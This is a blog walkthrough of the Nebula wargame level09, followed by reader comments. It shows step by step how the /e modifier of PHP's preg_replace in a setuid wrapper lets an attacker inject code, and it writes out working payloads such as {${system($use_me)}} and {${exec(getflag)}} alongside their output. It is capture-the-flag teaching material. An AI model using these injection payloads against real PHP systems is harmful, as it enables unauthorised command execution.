There’s a C setuid wrapper for some vulnerable PHP code…
", $contents); return $contents; } $output = markup($argv[1], $argv[2]); print $output; ?>
I’m no PHP expert – this one took me a long time. There are two functions that look dubious there – file_get_contents and preg_replace. Let’s see what it is meant to do.
It looks like it reads the file provided as the first argument ($filename) and does nothing with a second argument ($use_me). The file read in is expected to be in the format:
[email dobby@trashbat.co.ck]
and it returns a string like so:
level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me
dobby AT trashbat dot co dot ck>
You can use the command to get an arbitrary file that flag09 is permissioned for:
level09@nebula:/home/flag09$ ./flag09 /home/flag09/flag09.php use_meBut we need to execute something, not read something.
Look closely at one of the preg_replace lines:
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);This looks like, for the 2nd matching term, run the spam function on it. The second term is substituted inside the spam() function, then executed. Maybe we can inject a command here.
I've recently done a couple of XSS tutorials/games, which have given me a fair bit of practice at command injection (in Javascript, though), and felt I was getting quite natural and good at it. However, this PHP one ended up being just a big case of trial and error.
I started trying to execute phpinfo() - it nearly always works and doesn't need any parameters passing to it.
level09@nebula:/home/flag09$ cat /tmp/input.txt [email phpinfo()] level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me phpinfo()Right - this just echos the command.
level09@nebula:/home/flag09$ cat /tmp/input.txt [email $phpinfo()] level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me PHP Notice: Undefined variable: phpinfo in /home/flag09/flag09.php(15) : regexp code on line 1 ()Ok - it's now treating phpinfo as a variable, but that variable isn't defined.
level09@nebula:/home/flag09$ cat /tmp/input.txt [email ${phpinfo()}] level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me PHP Parse error: syntax error, unexpected '(' in /home/flag09/flag09.php(15) : regexp code on line 1 PHP Fatal error: preg_replace(): Failed evaluating code: spam("${phpinfo()}") in /home/flag09/flag09.php on line 15Now we have passed an expression with invalid syntax...
level09@nebula:/home/flag09$ cat /tmp/input.txt [email {${phpinfo()}}] level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me phpinfo() PHP Version => 5.3.6-13ubuntu3.2 System => Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686Yes! Ok - so this strange notation with curly braces works. I'm not quite sure why it needs to be like this, but now I have it, I can find examples of people using it.
Now we need to run getflag. PHP has system to do system calls.
level09@nebula:/home/flag09$ cat /tmp/input.txt [email {${system("getflag"()}}] level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt use_me PHP Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting T_STRING in /home/flag09/flag09.php(15) : regexp code on line 1 PHP Fatal error: preg_replace(): Failed evaluating code: spam("{${system(\"getflag\"()}}") in /home/flag09/flag09.php on line 15Hmm. It is escaping the inverted commas so it doesn't work. In fact, it seems to escape anything helpful
Coming back to one of the examples above - we managed to get it to treat phpinfo as a variable. What happens if we try to use the unused parameter, use_me?
level09@nebula:/home/flag09$ cat /tmp/input.txt [email $use_me] level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt second_parameter second_parameterRight - so we can use that to pass in a string. Let's combine the two.
level09@nebula:/home/flag09$ cat /tmp/input.txt [email {${system($use_me)}}] level09@nebula:/home/flag09$ ./flag09 /tmp/input.txt getflag You have successfully executed getflag on a target account PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1Excellent! I got there in the end. It felt a little painful. If the second parameter hadon't been called use_me, and this wasn't an exploit wargame, I would have given up. Not happy with this level.
Charles
November 5, 2014 at 11:31pmAlternatively you can also use the following line in the text file and forget about use_me
[email {${exec(getflag)}}]
Anon
April 4, 2016 at 4:20pmI know this is a long time since you’ve posted this, but I just found it and thought I’d share my 2 cents on why this is working since you stated above you weren’t sure why it worked.
The file is read and stored as a string, which is evaluated on line 15:
$contents = preg_replace(“/([email (.*)])/e”, “spam(“\2″)”, $contents);
And $contents having the value:
“email {${exec(getflag)}}”
exec(getflag) is being placed inside of a function, which is being stored as an unnamed variable using the first set of braces ${ }. The outside set of braces is how you stick variables inside of strings in PHP. In this case the variable is actually a function with only 1 line, a call to exec(). Any time that string is evaluated, PHP needs to resolve the value between the outside braces to construct the string, which cascades into the call to exec().